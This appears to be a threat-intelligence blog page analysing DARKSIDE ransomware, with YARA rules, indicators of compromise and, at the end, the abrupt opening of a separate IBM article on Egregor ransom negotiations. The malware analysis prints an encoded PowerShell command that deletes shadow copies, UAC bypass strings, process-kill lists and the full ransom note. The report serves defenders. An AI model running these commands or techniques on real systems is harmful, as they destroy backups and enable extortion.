This reinforces that during the post-exploitation phase of ransomware incidents, threat actors can engage in internal reconnaissance and obtain data to increase their negotiating power.
We expect that the extortion tactics that threat actors use to pressure victims will continue to evolve throughout 2021.
Based on the evidence that DARKSIDE ransomware is distributed by multiple actors, we anticipate that the TTPs used throughout incidents associated with this ransomware will continue to vary somewhat.
For more comprehensive recommendations for addressing ransomware, please refer to our blog post: \" Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment \" and the linked white paper .
Acknowledgements Beyond the comparatively small number of people who are listed as authors on this report are hundreds of consultants, analysts and reverse-engineers who tirelessly put in the work needed to respond to intrusions at breakneck pace and still maintain unbelievably high analytical standards.
This larger group has set the foundation for all of our work, but a smaller group of people contributed more directly to producing this report and we would like to thank them by name.
We would like to specifically thank Bryce Abdo and Matthew Dunwoody from our Advanced Practices team and Jay Smith from FLARE, all of whom provided analytical support and technical review.
Notable support was also provided by Ioana Teaca, and Muhammadumer Khan.
Appendix A:
DARKSIDE Ransomware Analysis DARKSIDE is a ransomware written in C that may be configured to encrypt files on fixed and removable disks as well as network shares.
DARKSIDE RaaS affiliates are given access to an administration panel on which they create builds for specific victims.
The panel allows some degree of customization for each ransomware build such as choosing the encryption mode and whether local disks and network shares should be encrypted (Figures 4).
The following malware analysis is based on the file MD5: 1a700f845849e573ab3148daef1a3b0b.
A more recently analyzed DARKSIDE sample had the following notable differences: The option for beaconing to a C2 server was disabled and the configuration entry that would have contained a C2 server was removed.
Included a persistence mechanism in which the malware creates and launches itself as a service.
Contained a set of hard-coded victim credentials that were used to attempt to logon as a local user.
If the user token retrieved based on the stolen credentials is an admin token and is part of the domain administrators' group, it is used for network enumeration and file permission access.
Figure 4: DARKSIDE build configuration options appearing in the administration panel Host-Based Indicators Persistence Mechanism Early versions of the malware did not contain a persistence mechanism.
An external tool or installer was required if the attacker desired persistence.
A DARKSIDE version observed in May 2021 implement a persistence mechanism through which the malware creates and launches itself as a service with a service name and description named using eight pseudo-randomly defined lowercase hexadecimal characters (e.g., \".e98fc8f7\") that are also appended by the malware to various other artifacts it created.
This string of characters is referenced as <ransom_ext> .
:
Service Name: <ransom_ext>
Description: <ransom_ext>
Filesystem Artifacts Created Files %CD%\\LOG<ransom_ext>.TXT README<ransom_ext>.TXT <original_filename_plus_ext><ransom_ext>
May version: %PROGRAMDATA%\\<ransom_ext>.ico
Registry Artifacts
The DARKSIDE version observed in May sets the following registry key:
HKCR\\<ransom_ext>\\DefaultIcon\\<ransom_ext>\\DefaultIcon=%PROGRAMDATA%\\<ransom_ext>.ico Details Configuration
The malware initializes a 0x100-byte keystream used to decrypt strings and configuration data.
Strings are decrypted as needed and overwritten with NULL bytes after use.
The malware's configuration size is 0xBE9 bytes.
A portion of the decrypted configuration is shown in Figure 5.
00000000  01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 00000050
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 00000070
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000080  95
AA A8 7C 2B 6A D5 12 0E 73
B3 7D BD 16 25 62  •ª¨|+jÕ..
s³}½.%b 00000090
A4
A8 BF 19 73 F7 E0 BC DF 02
A8 94 32 CF
0C C0  ¤¨¿.s÷à¼ß.¨\"2Ï.À 000000A0  C5 83
0F 14 66 02 87 EE FD 29 96 DF 02 05
C1 12  Ń..f.‡îý)–ß
..Á.
000000B0  3E 43 A7 59
E1 F0 C4 5D AE E1 20 2E 77 D9 CA
3C  >
C§YáðÄ]®á .wÙÊ
< 000000C0
AD C6 BC 84 75
1C E7 0B F0 30 2A 51 13 7A B2 66  .Ƽ„u.ç.ð0*Q.z²f
000000D0  44 73 79 E1 E4 69
C3 CA 1B C1 76 63 65 95 EA CA
DsyáäiÃÊ.Ávce•êÊ
000000E0  F6 10 68
0D CE 36 61 F9 57 B9 19 50 31 D4 E1 70
ö.h.
Î6aùW¹.P1Ôáp
000000F0  EC 7B 33 1E 4F 17 E1 80 1D BC CF 8C D8 C5 66 41  ì{3.O.á€.¼ÏŒØÅfA 00000100  E5 0A 00 00 02
6E 01 02 15 03 43 01
8E 24 0E 72  å....
n....C.Ž$.r <cut> Figure 5: Partial decrypted configuration
The sample's 0x80-byte RSA public key blob begins at offset 0x80.
The DWORD value at offset 0x100 is multiplied by 64 and an amount of memory equivalent to the result is allocated.
The remaining bytes, which start at offset 0x104, are aPLib-decompressed into the allocated buffer.
The decompressed bytes include the ransom note and other elements of the malware's configuration described as follows (e.g., processes to terminate, files to ignore).
The first 0x60 bytes of the decompressed configuration are shown in Figure 6.
00000000  02 01 01 01 00 01 01 00 01 01 01 01 01 01 01
01  ................
00000010  01 01 01 01 01 01 24 00 72 00 65 00 63 00 79 00  ......$.r.e.c.y.
00000020  63 00
6C 00 65 00 2E 00 62 00 69 00
6E 00 00 00
c.l.e...b.i.n...
00000030  63 00
6F 00
6E 00 66 00 69 00 67 00 2E 00
6D 00  c.o.n.f.i.g...m. 00000040  73
00 69 00 00 00 24 00 77 00 69 00
6E 00 64 00
s.i...$.w.i.n.d.
00000050
6F 00 77 00 73 00
2E 00 7E 00 62 00 74 00 00 00
o.w.s...~.b.t... <cut> Figure 6: Partial decompressed configuration The first byte from Figure 6 indicates the encryption mode.
This sample is configured to encrypt using FAST mode.
Supported values are as follows: 1:
FULL 2:
FAST Other values: AUTO The individual bytes from offset 0x02 to offset 0x15 in Figure 6 are Boolean values that dictate the malware's behavior.
The malware takes the actions listed in Table 2 based on these values.
Table 2 also identifies features that are enabled or disabled for the current sample.
Offset Enabled Description 0x01
Yes Unknown 0x02
Yes Encrypt local disks 0x03
Yes Encrypt network shares 0x04
No Perform language check
0x05
Yes Delete volume shadow copies
0x06
Yes Empty Recycle Bins 0x07
No Self-delete 0x08 Yes Perform UAC bypass if necessary 0x09
Yes Adjust token privileges
0x0A Yes
Logging 0x0B
Yes Feature not used but results in the following strings being decrypted: https://google.com/api/version https://yahoo.com/v2/api
0x0C
Yes Ignore specific folders 0x0D
Yes Ignore specific files 0x0E
Yes Ignore specific file extensions 0x0F
Yes Feature not used; related to these strings: \"backup\" and \"here_backups\" 0x10
Yes Feature not used: related to these strings: \"sql\" and \"sqlite\" 0x11 Yes Terminate processes
0x12 Yes Stop services
0x13
Yes Feature not used; related to a buffer that contains the repeated string \"blah\" 0x14 Yes Drop ransom note 0x15
Yes Create a mutex Table 2: Configuration bits UAC Bypass If the malware does not have elevated privileges, it attempts to perform one of two User Account Control (UAC) bypasses based on the operating system (OS) version.
If the OS is older than Windows 10, the malware uses a documented slui.exe file handler hijack technique .
This involves setting the registry value HKCU\\Software\\Classes\\exefile\\shell\\open\\command\\Default to the malware path and executing slui.exe using the verb \"runas.\"
If the OS version is Windows 10 or newer, the malware attempts a UAC bypass that uses the CMSTPLUA COM interface .
The decrypted strings listed in Figure 7 are used to perform this technique.
Elevation:Administrator!new: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} Figure 7: Decrypted UAC bypass strings Encryption Setup
The malware generates a pseudo-random file extension based on a MAC address on the system.
In a DARKSIDE version observed in May 2021, the file extension is generated using a MachineGuid registry value as a seed rather than the MAC address.
The file extension consists of eight lowercase hexadecimal characters (e.g., \".e98fc8f7\") and is referred to as <ransom_ext> .
The file extension generation algorithm has been recreated in Python .
If logging is enabled, the malware creates the log file LOG<ransom_ext>.TXT in its current directory.
The malware supports the command line argument \"-path,\" which allows an attacker to specify a directory to target for encryption.
The sample analyzed for this report is not configured to perform a system language check.
If this functionality were enabled and the check succeeded, the string \"This is a Russian-Speaking System, Exit\" would be written to the log file and the malware would exit.
Anti-Recovery Techniques
The malware locates and empties Recycle Bins on the system.
If the process is running under WOW64, it executes the PowerShell command in Figure 8 using CreateProcess to delete volume shadow copies.
powershell -ep bypass -c \"(0..
61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F7763 6F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.
Substring(2*$_,2))};iex $s\" Figure 8: Encoded PowerShell command The decoded command from Figure 4 is \"Get-WmiObject
Win32_Shadowcopy | ForEach-Object {$_.Delete();}.\
" If the malware is not running under WOW64, it uses COM objects and WMI commands to delete volume shadow copies.
The decrypted strings in Figure 9 are used to facilitate this process.
root/cimv2 SELECT * FROM Win32_ShadowCopy Win32_ShadowCopy.
ID='%s' Figure 9: Decrypted strings related to shadow copy deletion System Manipulation
Any service the name of which contains one of the strings listed in Figure 10 is stopped and deleted.
vss sql
svc$ memtas mepocs sophos veeam backup Figure 10: Service-related strings
The version observed in May 2021 is additionally configured to stop and delete services containing the strings listed in Figure 11.
GxVss GxBlr GxFWD GxCVD GxCIMgr Figure 11:
Additional service-related strings in May version Any process name containing one of the strings listed in Figure 12 is terminated.
sql oracle ocssd dbsnmp synctime agntsvc isqlplussvc xfssvccon mydesktopservice ocautoupds encsvc firefox tbirdconfig mydesktopqos ocomm dbeng50 sqbcoreservice excel infopath msaccess mspub onenote outlook powerpnt steam thebat thunderbird visio winword wordpad notepad Figure 12: Process-related strings File Encryption Based on its configuration, the malware targets fixed and removable disks as well as network shares.
Some processes may be terminated so associated files can be successfully encrypted.
However, the malware does not terminate processes listed in Figure 13.
vmcompute.exe vmms.exe vmwp.exe svchost.exe TeamViewer.exe explorer.exe Figure 13:
Processes not targeted for termination
The malware uses the strings listed in Figure 14 to ignore certain directories during the encryption process.
windows appdata application data boot google mozilla program files program files (x86) programdata system volume information tor browser windows.old intel msocache perflogs x64dbg public all users default Figure 14:
Strings used to ignore directories The files listed in Figure 15 are ignored.
$recycle.bin config.msi $windows.~bt $windows.~ws Figure 15:
Ignored files The version observed in May 2021 is additionally configured to ignore the files listed in Figure 16.
autorun.inf boot.ini bootfont.bin bootsect.bak desktop.ini iconcache.db ntldrntuser.dat ntuser.dat logntuser.ini thumbs.db Figure 16:
Additional ignored files in May version Additional files are ignored based on the extensions listed in Figure 17.
.386, .adv, .ani, .bat, .bin, .cab, .cmd, .com, .cpl, .cur, .deskthemepack, .diagcab, .diagcfg, .diagpkg, .dll, .drv, .exe, .hlp, .icl, .icns, .ico, .ics, .idx, .ldf, .lnk, .mod, .mpa, .msc, .msp, .msstyles, .msu, .nls, .nomedia, .ocx, .prf, .ps1, .rom, .rtp, .scr, .shs, .spl, .sys, .theme, .themepack, .wpx, .lock, .key, .hta, .msi, .pdb
Figure 17:
Ignored file extensions Files are encrypted using Salsa20 and a key randomly generated using RtlRandomEx.
Each key is encrypted using the embedded RSA-1024 public key.
Ransom Note The malware writes the ransom note shown in Figure 18 to README<ransom_ext>.TXT files written to directories it traverses.
-----------
[ Welcome to Dark ] -------------
>
What happend?
----------------------------------------------
Your computers and servers are encrypted, backups are deleted.
We use strong encryption algorithms, so you cannot decrypt your data.
But you can restore everything by purchasing a special program from us - universal decryptor.
This program will restore all your network.
Follow our instructions below and you will recover all your data.
Data leak ----------------------------------------------
First of all we have uploaded more then 100 GB data.
Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other...
Your personal leak page: http://darksidedxcftmqa[.
]onion/blog/article/id/6/<REDACTED>
The data is preloaded and will be automatically published if you do not pay.
After publication, your data will be available for at least 6 months on our tor cdn servers.
We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files.
- To delete all the stolen data.
What guarantees?
----------------------------------------------
We value our reputation.
If we do not do our work and liabilities, nobody will pay us.
This is not in our interests.
All our decryption software is perfectly tested and will decrypt your data.
We will also provide support in case of problems.
We guarantee to decrypt one file for free.
Go to the site and contact us.
How to get access on website?
----------------------------------------------
Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2[.
]onion/<REDACTED>
When you open our website, put the following data in the input form:
Key: <REDACTED> !!
!
DANGER !!
!
DO NOT MODIFY or try to RECOVER any files yourself.
We WILL NOT be able to RESTORE them.
!!
!
DANGER !!
!
Figure 18:
Ransom note Decrypted Strings Global\\XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX https://google.com/api/version https://yahoo.com/v2/api sql sqlite $recycle.bin config.msi $windows.~bt $windows.~ws windows appdata application data boot google mozilla program files program files (x86) programdata system volume information tor browser windows.old intel msocache perflogs x64dbg public all users default 386 adv ani bat bin cab cmd com cpl cur deskthemepack diagcab diagcfg diagpkg dll drv exe hlp icl icns ico ics idx ldf lnk mod mpa msc msp msstyles msu nls nomedia ocx prf ps1 rom rtp scr shs spl sys theme themepack wpx lock key hta msi pdb vmcompute.exe vmms.exe vmwp.exe svchost.exe TeamViewer.exe explorer.exe oracle ocssd dbsnmp synctime agntsvc isqlplussvc
xfssvccon mydesktopservice ocautoupds encsvc firefox tbirdconfig mydesktopqos ocomm dbeng50 sqbcoreservice excel infopath msaccess mspub onenote outlook powerpnt steam
thebat thunderbird visio winword wordpad notepad vss sql
svc$ memtas mepocs sophos veeam backup \\r\\nblahblahblahblahblahblahblahblahblahblahblahblahblahblahblahblah\\r\\nblahblahblahblahblahblahbl ahblahblahblahblahblahblahblahblahblah\\r\\nblahblahblahblahblahblahblahblahblahblahblahblahblahblah blahblah\\r\\nblahblahblah\\r\\n \\r\\n-----------
[ Welcome to Dark ]
------------->\\r\\n\\r\\nWhat
happend?\\r\\n----------------------------------------------\\r\\nYour computers and servers are encrypted, backups are deleted.
We use strong encryption algorithms, so you cannot decrypt your data.\\r\\nBut
you can restore everything by purchasing a special program from us - universal decryptor.
This program will restore all your network.\\r\\nFollow our instructions below and you will recover all your data.\\r\\n\\r\\nData leak\\r\\n----------------------------------------------\\r\\nFirst of all we have uploaded more then 100 GB data.\\r\\n\\r\\nExample of data:\\r\\n - Accounting data\\r\\n - Executive data\\r\\n - Sales data\\r\\n - Customer Support data\\r\\n - Marketing data\\r\\n - Quality data\\r\\n - And more other...\\r\\n\\r\\nYour personal leak page: http://darksidedxcftmqa[.
]onion/blog/article/id/6/<REDACTED>
The data is preloaded and will be automatically published if you do not pay.\\r\\nAfter publication, your data will be available for at least 6 months on our tor cdn servers.\\r\\n\\r\\nWe are ready:\\r\\n-
To provide you the evidence of stolen data\\r\\n- To give you universal decrypting tool for all encrypted files.\\r\\n- To delete all the stolen data.\\r\\n\\r\\nWhat guarantees?\\r\\n----------------------------------------------\\r\\nWe value our reputation.
If we do not do our work and liabilities, nobody will pay us.
This is not in our interests.\\r\\nAll our decryption software is perfectly tested and will decrypt your data.
We will also provide support in case of problems.\\r\\nWe guarantee to decrypt one file for free.
Go to the site and contact us.\\r\\n\\r\\nHow to get access on website?
\\r\\n----------------------------------------------\\r\\nUsing a TOR browser:\\r\\n1) Download and install TOR browser from this site: https://torproject.org/\\r\\n2) Open our website: http://darksidfqzcuhtk2[.
]onion/<REDACTED>\\r\\n\\r\\nWhen you open our website, put the following data in the input form:\\r\\nKey:\\r\\<REDACTED>\\r\\n\\r\\n!!
!
DANGER !!
!
\\r\\nDO NOT MODIFY or try to RECOVER any files yourself.
We WILL NOT be able to RESTORE them.
\\r\\n!!
!
DANGER !!
!
\\r\\n -path INF DBG /C DEL /F /Q
>>
NUL ComSpec README .TXT
Start Encrypting Target Folder Encrypt Mode - AUTO Started %
u I/O
Workers Encrypted %u file(s)
Start Encrypt [Handle %u]
File Encrypted Successful Encrypt Mode - FAST Encrypt Mode - FULL
This is a Russian-Speaking System, Exit System Language Check Encrypting Network Shares Encrypting Local Disks README .TXT
Encrypt Mode - AUTO Started %
u I/O
Workers Encrypted %u file(s)
Start Encrypt [Handle %u]
File Encrypted Successful Encrypt Mode - FAST Encrypt Mode - FULL Terminating Processes Deleting Shadow Copies Uninstalling Services Emptying
Recycle Bin This is a Russian-Speaking System, Exit System Language Check Start Encrypting All Files powershell -ep bypass -c \"(0..
61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F7763 6F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.
Substring(2 *$_,2))};iex $s\" root/cimv2 WQL SELECT * FROM Win32_ShadowCopy ID Win32_ShadowCopy.
ID='%s' .exe
LOG%s.
TXT README%s.
TXT Software\\Classes\\exefile\\shell\\open\\command \\slui.exe runas Elevation:Administrator!new: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} explorer.exe Figure 19: Decrypted strings Appendix B: Indicators for Detection and Hunting Yara Detections
The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives.
These rules are intended to serve as a starting point for hunting efforts to identify related activity; however, they may need adjustment over time if the malware family changes.
rule Ransomware_Win_DARKSIDE_v1__1 { meta: author = “FireEye” date_created = “2021-03-22” description =
“Detection for early versions of DARKSIDE ransomware samples based on the encryption mode configuration values.”
md5 = “1a700f845849e573ab3148daef1a3b0b” strings: $consts = { 80 3D [4] 01
[1-10] 03 00 00 00
[1-10] 03 00 00 00
[1-10] 00 00 04 00
[1-10] 00 00 00 00
[1-30] 80 3D [4] 02 [1-10] 03 00 00 00
[1-10] 03 00 00 00
[1-10] FF FF FF FF [1-10] FF FF FF FF [1-30] 03 00 00 00
[1-10] 03 00 00 00 } condition: (uint16(0) ==
0x5A4D and uint32(uint32(0x3C))
=
= 0x00004550) and $consts } Figure 20: DARKSIDE YARA rule rule Dropper_Win_Darkside_1 { meta: author = \"FireEye\" date_created = \"2021-05-11\" description = \"Detection for on the binary that was used as the dropper leading to DARKSIDE.\" strings: $CommonDLLs1 = \"KERNEL32.dll\" fullword $CommonDLLs2 = \"USER32.dll\" fullword $CommonDLLs3 =
\"ADVAPI32.dll\" fullword $CommonDLLs4 =
\"ole32.dll\" fullword $KeyString1 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73
6F 66 74 2E 57 69 6E 64 6F 77 73 2E 43
6F 6D 6D 6F 6E 2D 43 6F 6E 74 72 6F 6C 73 22 20 76 65 72 73 69 6F 6E 3D 22 36 2E 30 2E 30 2E 30 22 20 70 72 6F 63 65 73 73
6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62
6C 69 63 4B 65 79 54
6F 6B 65 6E 3D 22 36 35 39 35 62 36 34 31 34 34 63 63 66 31 64 66 22 } $KeyString2 = { 74 79 70 65 3D 22 77 69
6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72
6F 73 6F 66 74 2E 56 43 39 30 2E 4D 46 43 22 20 76 65 72 73 69 6F 6E 3D 22 39 2E 30 2E 32 31 30 32 32 2E 38 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62
6C 69 63 4B 65 79 54
6F 6B 65 6E 3D 22 31 66 63 38 62 33 62 39 61 31 65 31 38 65 33 62 22 } $Slashes = { 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C } condition: filesize < 2MB and filesize > 500KB and uint16(0) ==
0x5A4D and uint32(uint32(0x3C))
=
=
0x00004550 and (all of ($CommonDLLs*)) and (all of ($KeyString*)) and $Slashes } Figure 21: DARKSIDE Dropper YARA rule rule Backdoor_Win_C3_1 { meta: author = “FireEye” date_created = \"2021-05-11\" description =
\"Detection to identify the Custom Command and Control (C3) binaries.\" md5 = \"7cdac4b82a7573ae825e5edb48f80be5\" strings: $dropboxAPI =
\"Dropbox-API-Arg\" $knownDLLs1 = \"WINHTTP.dll\" fullword $knownDLLs2 = \"SHLWAPI.dll\" fullword $knownDLLs3 = \"NETAPI32.dll\" fullword $knownDLLs4 = \"ODBC32.dll\" fullword $tokenString1 = { 5B 78 5D 20 65 72 72 6F 72 20 73 65 74 74 69 6E 67 20 74
6F 6B 65 6E } $tokenString2 = { 5B 78 5D 20 65 72 72
6F 72 20 63 72 65 61 74 69 6E 67 20 54 6F 6B 65 6E } $tokenString3 = { 5B 78 5D 20 65 72 72 6F 72 20 64 75 70 6C 69 63 61 74 69
6E 67 20 74
6F 6B 65 6E } condition: filesize < 5MB and uint16(0) ==
0x5A4D and uint32(uint32(0x3C))
=
=
0x00004550 and (((all of ($knownDLLs*)) and ($dropboxAPI or (1 of ($tokenString*)))) or (all of ($tokenString*)))
Figure 22:
Custom Command and Control (C3)
YARA rule Detecting DARKSIDE FireEye products detect this activity at multiple stages of the attack lifecycle.
The following table contains specific detections intended to identify and prevent malware and methods seen at these intrusions.
For brevity, this list does not include FireEye’s existing detections for BEACON, BloodHound/SharpHound, and other common tools and malware that FireEye has observed both in this campaign and across a broad range of intrusion operations Platform(s) Detection Name Network Security Email Security Detection On Demand Malware Analysis File Protect Ransomware.
SSL.DarkSide Trojan.
Generic Ransomware.
Linux.
DARKSIDE Ransomware.
Win.
Generic.
MVX Ransomware.
Win.DARKSIDE.MVX Ransomware.
Linux.
DARKSIDE.MVX Ransomware.
Win32.DarkSide.
FEC3 FE_Ransomware_Win_DARKSIDE_1 FE_Ransomware_Win32_DARKSIDE_1 FE_Ransomware_Linux64_DARKSIDE_1 FE_Ransomware_Linux_DARKSIDE_1 FEC_Trojan_Win32_Generic_62
FE_Loader_Win32_Generic_177 FE_Loader_Win32_Generic_197
FE_Backdoor_Win_C3_1 FE_Backdoor_Win32_C3_1 FE_Backdoor_Win32_C3_2 FE_Backdoor_Win_C3_2 Backdoor.
Win.
C3 FE_Dropper_Win_Darkside_1 Endpoint Security Real-Time (IOC) BABYMETAL (BACKDOOR)
DARKSIDE RANSOMWARE (FAMILY) SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) SUSPICIOUS POWERSHELL USAGE B (METHODOLOGY)
Malware Protection(AV/MG) Generic.mg.
* Gen:Heur.
FKP.17
Gen:Heur.
Ransom.
RTH.1 Gen:Trojan.
Heur.
PT.omZ@bSEA3vk
Gen:Variant.
Razy.
* Trojan.
CobaltStrike.
CB Trojan.
GenericKD.
* Trojan.
Linux.
Ransom.
H UAC Protect Malicious UAC bypass program detected Helix VPN ANALYTICS [Abnormal Logon] WINDOWS ANALYTICS [Abnormal RDP Logon] TEAMVIEWER CLIENT
[User-Agent] WINDOWS METHODOLOGY [Plink Reverse Tunnel]
WINDOWS METHODOLOGY - SERVICES [PsExec] Mandiant Security Validation Actions Organizations can validate their security controls using the following actions with Mandiant Security Validation .
VID Title A101-700 Malicious File Transfer - DARKSIDE, Download, Variant #2 A101-701 Malicious File Transfer - DARKSIDE, Download, Variant #3 A101-702 Malicious File Transfer - DARKSIDE, Download, Variant #4 A101-703 Malicious File Transfer - DARKSIDE, Download, Variant #5 A101-704 Malicious File Transfer - DARKSIDE, Download, Variant #6 A101-705 Malicious File Transfer - DARKSIDE, Download, Variant #7 A101-706 Malicious File Transfer - DARKSIDE, Download, Variant #8 A101-707 Malicious File Transfer - DARKSIDE, Download, Variant #9 A101-708 Malicious File Transfer - DARKSIDE, Download, Variant #10 A101-709 Malicious File Transfer - DARKSIDE, Download, Variant #11 A101-710 Malicious File Transfer - DARKSIDE, Download, Variant #12 A101-711 Malicious File Transfer - DARKSIDE, Download, Variant #13 A101-712 Malicious File Transfer - DARKSIDE, Download, Variant #14 A101-713 Malicious File Transfer - DARKSIDE, Download, Variant #15 A101-714 Malicious File Transfer - DARKSIDE, Download, Variant #16 A101-715 Malicious File Transfer - DARKSIDE, Download, Variant #17 A101-716 Malicious File Transfer - DARKSIDE, Download, Variant #18 A101-717 Malicious File Transfer - DARKSIDE, Download, Variant #19 A101-718 Malicious File Transfer - DARKSIDE, Download, Variant #20 A101-719 Malicious File Transfer - DARKSIDE, Download, Variant #21 A101-720 Malicious File Transfer - DARKSIDE, Download, Variant #22 A101-721 Malicious File Transfer - DARKSIDE, Download, Variant #23 A101-722 Malicious File Transfer - DARKSIDE, Download, Variant #24 A101-723 Malicious File Transfer - DARKSIDE, Download, Variant #25 A101-724 Malicious File Transfer - DARKSIDE, Download, Variant #26 A101-725 Malicious File Transfer - DARKSIDE, Download, Variant #27 A101-726 Malicious File Transfer - DARKSIDE, Download, Variant #28 A101-727 Malicious File Transfer - DARKSIDE, Download, Variant #29 A101-728 Malicious File Transfer - DARKSIDE, Download, Variant #30 A101-729 Malicious File Transfer - DARKSIDE, Download, Variant #31 A101-730 Malicious File Transfer - DARKSIDE, Download, Variant #32 A101-731 Malicious File Transfer - DARKSIDE, Download, Variant #33 A101-732 Malicious File Transfer - DARKSIDE, Download, Variant #34 A101-733 Malicious File Transfer - DARKSIDE, Download, Variant #35 A101-734 Malicious File Transfer - DARKSIDE, Download, Variant #36 A101-735 Malicious File Transfer - NGROK, Download, Variant #1 A101-736 Malicious File Transfer - UNC2465, LNK Downloader for SMOKEDHAM, Download A101-737 Malicious File Transfer - BEACON, Download, Variant #3 A101-738 Data Exfiltration - RCLONE, Exfil Over SFTP A101-739 Malicious File Transfer - RCLONE, Download, Variant #2 A101-740 Command and Control - DARKSIDE, DNS Query, Variant #1 A101-741 Command and Control - DARKSIDE, DNS Query, Variant #2 A101-742 Application Vulnerability - SonicWall, CVE-2021-20016, SQL Injection A104-771 Protected Theater - DARKSIDE, PsExec Execution A104-772 Host CLI - DARKSIDE, Windows Share Creation A104-773 Protected Theater - DARKSIDE, Delete Volume Shadow Copy Related Indicators UNC2628
Indicator Description 104.193.252[.
]197:443 BEACON C2 162.244.81[.
]253:443 BEACON C2 185.180.197[.
]86:443
BEACON C2 athaliaoriginals[.
]com BEACON C2
lagrom[.
]com BEACON C2 ctxinit.azureedge[.
]net
BEACON C2 45.77.64[.
]111 Login Source 181ab725468cc1a8f28883a95034e17d
BEACON Sample
UNC2659 Indicator Description 173.234.155[.
]208 Login Source UNC2465
Indicator Description 81.91.177[.
]54 :7234
Remote Access koliz[.
]xyz File Hosting los-web[.
]xyz EMPIRE C2 sol-doc[.
]xyz Malicious Infrastructure hxxp://sol-doc[.
]xyz/sol/ID-482875588 Downloader URL 6c9cda97d945ffb1b63fd6aabcb6e1a8 Downloader LNK 7c8553c74c135d6e91736291c8558ea8 VBS Launcher 27dc9d3bcffc80ff8f1776f39db5f0a4
Ngrok Utility DARKSIDE
Ransomware Encryptor DARKSIDE Sample MD5 04fde4340cc79cd9e61340d4c1e8ddfb 0e178c4808213ce50c2540468ce409d3 0ed51a595631e9b4d60896ab5573332f 130220f4457b9795094a21482d5f104b
1a700f845849e573ab3148daef1a3b0b 1c33dc87c6fdb80725d732a5323341f9 222792d2e75782516d653d5cccfcf33b
29bcd459f5ddeeefad26fc098304e786 3fd9b0117a0e79191859630148dcdc6d 47a4420ad26f60bb6bba5645326fa963 4d419dc50e3e4824c096f298e0fa885a 5ff75d33080bb97a8e6b54875c221777 66ddb290df3d510a6001365c3a694de2 68ada5f6aa8e3c3969061e905ceb204c 69ec3d1368adbe75f3766fc88bc64afc 6a7fdab1c7f6c5a5482749be5c4bf1a4
84c1567969b86089cc33dccf41562bcd 885fc8fb590b899c1db7b42fe83dddc3 91e2807955c5004f13006ff795cb803c 9d418ecc0f3bf45029263b0944236884
9e779da82d86bcd4cc43ab29f929f73f a3d964aaf642d626474f02ba3ae4f49b b0fd45162c2219e14bdccab76f33946e b278d7ec3681df16a541cf9e34d3b70a b9d04060842f71d1a8f3444316dc1843 c2764be55336f83a59aa0f63a0b36732 c4f1a1b73e4af0fbb63af8ee89a5a7fe c81dae5c67fb72a2c2f24b178aea50b7 c830512579b0e08f40bc1791fc10c582 cfcfb68901ffe513e9f0d76b17d02f96 d6634959e4f9b42dfc02b270324fa6d9 e44450150e8683a0addd5c686cd4d202 f75ba194742c978239da2892061ba1b4 f87a2e1c3d148a67eaeb696b1ab69133 f913d43ba0a9f921b1376b26cd30fa34 f9fc1a1a95d5723c140c2a8effc93722 Subscribe to Blogs Get email updates as new blog posts are added.
Ransomware attacks are topping the charts as the most common attack type to target organizations with a constant drumbeat of attacks impacting industries across the board.
In fact, IBM Security X-Force has seen a more than 10% increase in ransomware incident response requests compared to this time last year.
Ransomware is well on its way toward becoming a global billion-dollar enterprise – one that victims are funding.
Attackers are operating like a well-oiled business industry, yielding high profits in a year that most businesses struggled.
Why?
The new ransomware business model is relentless, extortive and paying off.
IBM Security X-Force Threat Intelligence analysts, together with Cylera , an IoT and medical device security intelligence company that works with IBM Security to deliver IoMT solutions, have obtained and analyzed hours of chat correspondence and negotiations that occurred in December 2020 between the notorious Egregor ransomware actors, responsible for upwards of $80 million dollars in losses globally.
The chat correspondence had negotiations with approximately 40 victim organizations they chatted with.
The activity uncovered in these chat transcripts provides valuable insight into how some ransomware actors operate – from how they conduct ransom payment negotiations, to the strategies and operational structure they used.
Although law enforcement took action against Egregor operations in February 2021, this discovery provides the following insightful takeaways: Defining the Ransom Demand – Initial ransom amounts ranged from $100,000 to $35 million.
The average initial ransom demanded was $5 million.
During one negotiation, the threat actors indicated that their initial ransom demand is 5-10% of the potential estimated loss associated with a data leak.
Ransom Negotiations – Several factors played a role in determining the final negotiated ransom amount or data leak outcome, including the operators’ perception of the victim’s ability and willingness to pay as well as the victim’s negotiation strategies such as attempting to buy time and delay the payment.
Operational Structure – The chats reveal a highly sophisticated organized crime group was behind Egregor operations.
Numerous roles or teams were mentioned including the financial department, data manager, attackers/IT specialists, PR manager, publications manager and decryption tool master-maker.
Compassion with a Catch – X-Force researchers maintain the operators of ransomware like Egregor are nefarious actors.
